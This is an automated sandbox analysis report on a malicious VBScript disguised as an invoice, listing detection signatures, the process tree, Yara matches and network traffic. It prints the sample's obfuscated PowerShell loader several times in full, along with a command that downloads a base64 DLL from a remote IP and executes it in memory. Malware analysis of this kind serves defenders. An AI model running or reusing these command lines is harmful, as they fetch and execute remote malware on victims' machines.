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Windows Analysis Report
Ref. No INV088002904SINO.vbs

Overview

General Information

Sample Name:	Ref. No INV088002904SINO.vbs
Analysis ID:	699422
MD5:	78f2e521d65cd356494edd52bfa2eb94
SHA1:	abd02c0ece3445944708037fcfeffa0f69c14319
SHA256:	e844196a40b506f2d00760b7dfcb2474c56f30c705d078cb265b8871aeca8e79
Tags:	vbs
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

VBScript performs obfuscated calls to suspicious functions

Obfuscated command line found

Wscript starts Powershell (via cmd or directly)

Suspicious powershell command line found

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Java / VBScript file with very long strings (likely obfuscated code)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

HTTP GET or POST without a user agent

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains long sleeps (>= 3 min)

Enables debug privileges

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5184 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Ref. No INV088002904SINO.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

powershell.exe (PID: 5976 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 4764 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth')) MD5: 95000560239032BC68B4C2FDFCDEF913)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 5976	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x4919f:$b2: ::FromBase64String( 0x492a3:$b2: ::FromBase64String( 0x4b1eb:$b2: ::FromBase64String( 0x4da51:$b2: ::FromBase64String( 0x4db55:$b2: ::FromBase64String( 0x4e91d:$b2: ::FromBase64String( 0x4efb9:$b2: ::FromBase64String( 0x56507:$b2: ::FromBase64String( 0x8bc5d:$b2: ::FromBase64String( 0x8c192:$b2: ::FromBase64String( 0xbb105:$b2: ::FromBase64String( 0xbb63a:$b2: ::FromBase64String( 0xbc325:$b2: ::FromBase64String( 0xcf517:$b2: ::FromBase64String( 0xd828a:$b2: ::FromBase64String( 0xd8335:$b2: ::FromBase64String( 0xd83ef:$b2: ::FromBase64String( 0xdccf8:$b2: ::FromBase64String( 0x10cd6f:$b2: ::FromBase64String( 0x10d2a4:$b2: ::FromBase64String( 0x113f50:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 4764	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6959:$b2: ::FromBase64String( 0x6acc:$b2: ::FromBase64String( 0xa744:$b2: ::FromBase64String( 0x10e67:$b2: ::FromBase64String( 0x16af0:$b2: ::FromBase64String( 0x16c63:$b2: ::FromBase64String( 0x36eb9:$b2: ::FromBase64String( 0x36f51:$b2: ::FromBase64String( 0x36fe5:$b2: ::FromBase64String( 0x40c36:$b2: ::FromBase64String( 0x40fd3:$b2: ::FromBase64String( 0x6536c:$b2: ::FromBase64String( 0x67bd3:$b2: ::FromBase64String( 0x9e36b:$b2: ::FromBase64String( 0x134bb6:$b2: ::FromBase64String( 0x13844d:$b2: ::FromBase64String( 0x1385c0:$b2: ::FromBase64String( 0x139391:$b2: ::FromBase64String( 0x17edcc:$b2: ::FromBase64String( 0x17ef41:$b2: ::FromBase64String( 0x17f2a9:$b2: ::FromBase64String(

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 08 Sep 2022 05:31:10 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Content-Length: 297Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 33 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6e 20 50 48 50 2f 37 2e 34 2e 32 39 20 53 65 72 76 65 72 20 61 74 20 32 30 2e 37 2e 31 34 2e 39 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Server at 20.7.14.99 Port 80</address></body></html>

Source: powershell.exe, 00000003.00000002.339339189.000001B09412F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.325801923.000001B093624000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.7.14.99
Source: powershell.exe, 00000003.00000002.319852310.000001B090AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://20.7.14.99/server/dll.txt
Source: powershell.exe, 00000001.00000002.355628594.00000216B8620000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000003.312074067.000001B0AB093000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.343700815.000001B0AB0A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000003.00000002.340730750.000001B0A2A6F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.321573407.000001B092C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.350622137.00000216A0541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.320814767.000001B092A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.321573407.000001B092C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.321573407.000001B092C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.340730750.000001B0A2A6F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: global traffic

HTTP traffic detected: GET /server/dll.txt HTTP/1.1Host: 20.7.14.99Connection: Keep-Alive

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 5976, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4764, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe

Source: Process Memory Space: powershell.exe PID: 5976, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4764, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: Ref. No INV088002904SINO.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FF816391D70

Source: Ref. No INV088002904SINO.vbs	ReversingLabs: Detection: 26%
Source: Ref. No INV088002904SINO.vbs	Virustotal: Detection: 13%
Source: Ref. No INV088002904SINO.vbs	Metadefender: Detection: 20%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Ref. No INV088002904SINO.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_01

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Ref. No INV088002904SINO.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tigd1obk.kyu.ps1

Jump to behavior

Source: classification engine

Classification label: mal92.evad.winVBS@6/5@0/1

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source:	Binary string: dbpdbtem.pdbf source: powershell.exe, 00000003.00000002.343505477.000001B0AB05A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000003.315311073.000001B0AAD51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 70n.pdbM source: powershell.exe, 00000003.00000002.343179058.000001B0AAD2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 90n.pdb source: powershell.exe, 00000003.00000003.315421009.000001B0AAD2C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.343179058.000001B0AAD2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Core.pdb/ source: powershell.exe, 00000003.00000002.343505477.000001B0AB05A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 90n.pdbM source: powershell.exe, 00000003.00000003.315421009.000001B0AAD2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb6 source: powershell.exe, 00000003.00000002.343621942.000001B0AB093000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000003.00000003.315421009.000001B0AAD2C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.343330923.000001B0AAD3E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000003.315447170.000001B0AB0F6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.344023748.000001B0AB104000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdbKj source: powershell.exe, 00000003.00000002.342878874.000001B0AACF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000003.00000003.315421009.000001B0AAD2C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.343330923.000001B0AAD3E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000003.00000003.315282709.000001B0AAD3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb.pdb source: powershell.exe, 00000003.00000003.315311073.000001B0AAD51000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8", "0", "false");

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
